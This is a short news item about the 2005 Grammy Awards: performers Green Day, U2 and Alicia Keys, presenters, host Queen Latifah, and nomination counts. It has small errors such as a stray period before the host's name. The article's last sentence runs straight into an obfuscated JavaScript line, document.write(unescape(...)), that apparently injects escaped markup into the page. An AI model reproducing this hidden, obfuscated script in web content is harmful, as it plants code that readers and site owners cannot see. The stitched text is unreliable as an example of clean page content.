U2 and Green Day at Grammy's

Green Day, U2 and Alicia Keys are to perform live at this year's Grammy Awards.

And Ellen DeGeneres, Christina Milan and John Travolta will appear as presenters, at the event, which will be hosted by. Queen Latifah.

The 47th Grammy ceremony takes place at Los Angeles's Staples Center on February 13.

Green Day are up for six awards on the night, Keys is nominated in five categories, while U2, who have won 13 Grammys in their career, are nominated three times this year.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;